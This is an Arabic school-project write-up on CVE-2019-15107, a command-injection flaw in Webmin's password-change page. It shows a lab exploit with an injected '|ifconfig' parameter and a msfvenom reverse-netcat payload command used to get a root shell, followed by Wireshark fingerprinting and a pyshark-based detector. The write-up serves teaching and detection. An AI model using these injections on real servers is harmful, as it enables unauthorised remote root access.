
مشروع مدرسي
I. نظرة عامة عن CVE-2019-15107
Webmin هي واجهة ويب لإدارة النظام في Unix. باستخدام أي متصفح ويب، يمكنك إعداد حسابات المستخدمين، Apache، DNS، مشاركة الملفات والمزيد.
في 10 أغسطس 2019، أعلن باحث الأمن السيبراني التركي Özkan Mustafa Akkuş عن ثغرة Zero-day في مؤتمر DefCon، وإلى جانب الإعلان عن الثغرة، أصدر Akkuş أيضًا وحدة Metasploit لأتمتة استغلال هذه الثغرة. بسبب ثغرة تنفيذ الأكواد في وظيفة إعادة تعيين كلمة المرور في ملف password_change.cgi، تسمح هذه الثغرة لطرف ثالث بتنفيذ أكواد ضارة دون الحاجة إلى التحقق من صحة الإدخال.
II. الإصدارات المتأثرة
تؤثر هذه الثغرة على إصدارات Webmin من 1.882 إلى 1.921. لمنع هذه الثغرة، يجب على من يستخدمون Webmin التحديث إلى أحدث إصدار 1.93.
III. تحليل الثغرة
في Webmin، يجب تفعيل ميزة "السماح بتغيير كلمة مرور المستخدم" لاستغلال هذه الثغرة. هذا هو الشرط الوحيد، ولكن مع ذلك، يقوم العديد من مديري Webmin بتفعيل هذه الميزة. فهي تسمح للمستخدمين بتعيين كلمة مرور جديدة باستخدام كلمة المرور القديمة. في كود مصدر تطبيق Webmin، توجد بعض ملفات ".cgi" البارزة. أحدها هو password_change.cgi.

الشرط الوحيد لعمل المعاملات في هذا الملف هو أن تكون قيمة "passwd_mode" في ملف الإعدادات "miniserv.conf" مضبوطة على "2".

عند هذه النقطة، سنستخدم "|" عن طريق قراءة ملف /etc/shadow أثناء عملية التحقق من كلمة المرور القديمة. مثال على جملة تغيير كلمة المرور العادية:

إذا قمنا بإدراج أمر بسيط مثل "ifconfig" في جملة تغيير كلمة المرور كما في الشكل أدناه، فسيتم تنفيذ الأمر "ifconfig" وعرض النتيجة.

IV. نموذج النشر
جهاز Ubuntu (الضحية) مثبت عليه Webmin الإصدار 1.920 بعنوان IP: 192.168.109.128

جهاز Kali (المهاجم) بعنوان IP: 192.168.109.131

نظرًا لأن هذه الثغرة (CVE) تعتمد على وظيفة إعادة تعيين كلمة المرور عند انتهاء صلاحية كلمة المرور القديمة في Webmin، يجب أن يقوم الضحية بتثبيت Webmin في وضع "Prompt users with expired password to enter a new one".

V. استغلال ثغرة CVE
في البداية، سيستخدم جهاز المهاجم Burp Suite لالتقاط الطلبات المرسلة عند تغيير كلمة المرور على Webmin من الرابط: 192.168.109.128:10000/password_change.cgi (ip الضحية)

بعد ذلك، يرسل جهاز المهاجم هذا الطلب إلى علامة تبويب Repeater في Burp Suite لاختبار الثغرة.

يقوم المهاجم بتعديل بعض المعلومات من حزمة الطلب الملتقطة. نظرًا لأن تغيير كلمة المرور يتطلب أن تكون طريقة HTTP هي POST وليس GET كما في البداية.

ثم يرسل جهاز المهاجم طلبًا تجريبيًا لتغيير كلمة المرور من كلمة المرور القديمة إلى خادم Webmin الخاص بالضحية:
"user=test&pam=&old=test&new1=test2&new2=test2"

عند إرسال الطلب، سنتلقى رسالة تفيد بأن كلمة المرور القديمة غير صحيحة (The current password is incorrect)، لذا فإن الجوهر يكمن في المعامل "old".
بعد ذلك، نجرب إدراج أمر أساسي مثل ifconfig بعد المعامل old، بحيث عندما يتحقق الخادم من كلمة المرور القديمة، ينفذ الأمر الذي أدرجناه. على سبيل المثال:
"user=test&pam=&old=test|ifconfig&new1=test2&new2=test2"

وبالمثل، عندما يتحقق الخادم من كلمة المرور القديمة، تظل خاطئة، ولكن بعد التحقق، يتم تنفيذ الأمر "ifconfig" وعرضه.
بعد ذلك، للحصول على صلاحيات root، سنستخدم Metasploit framework لإنشاء حمولة (payload) وإرسالها إلى خادم Webmin الخاص بالضحية للحصول على جلسة shell.
"msfvenom -p cmd/unix/reverse_netcat lhost= lport="

بعد ذلك، ننسخ الحمولة وندرجها في الطلب على Burp Suite.

بعد إرسال الطلب الذي يحتوي على الحمولة إلى خادم Webmin، يتم اختراق جهاز الضحية ويتلقى جهاز المهاجم جلسة shell إلى جهاز الضحية (ip: 192.168.109.128 port 37218).

وهكذا، تمكنا من الحصول على صلاحيات root من خلال هذه الثغرة.

VI. تحديد بصمة الهجوم
استخدام Wireshark لالتقاط حزم البيانات في طبقة الشبكة.

نظرًا لأنه لاستغلال هذه الثغرة، سيعتمد المهاجم على الرابط /password_change.cgi لإرسال طلبات تحتوي على حمولات ضارة عبر طريقة POST في HTTP، لذا سنحتاج إلى تحليل حزم HTTP الملتقطة على Wireshark.

نلاحظ أن الأمر "ifconfig" تم إدراجه أثناء عملية تحقق خادم Webmin من كلمة المرور القديمة المراد تغييرها.

لذلك، نحدد أن بصمة هذه الثغرة هي المعاملات التي يتم تمريرها أثناء عملية تغيير كلمة المرور عبر الرابط /password_change.cgi:
"user=test&pam=&old=test | <الأمر الذي يريد المهاجم تنفيذه> &new1=test2&new2=test2"
VII. بناء أداة كشف هجوم CVE-2019-15107
كما حللنا أعلاه، لكي يستغل المهاجم هذه الثغرة، يجب عليه إدراج أوامر في المعامل old ("كلمة المرور القديمة") لتنفيذ الهجوم.

لكشف من يحاول إدراج أوامر بناءً على هذه الثغرة، سنقوم بالتقاط وتحليل حزم HTTP التي يرسلونها باستخدام أداة "pyshark".

البيانات في حزمة HTTP الملتقطة يتم إرجاعها بصيغة Hex. بناءً على المعامل "old=" والرمز "|"، يمكننا معرفة ما إذا كان هناك شخص يحاول استغلال هذه الثغرة. دالة checkPayload للتحقق مما إذا كانت حزمة HTTP تحتوي على مشكلة.
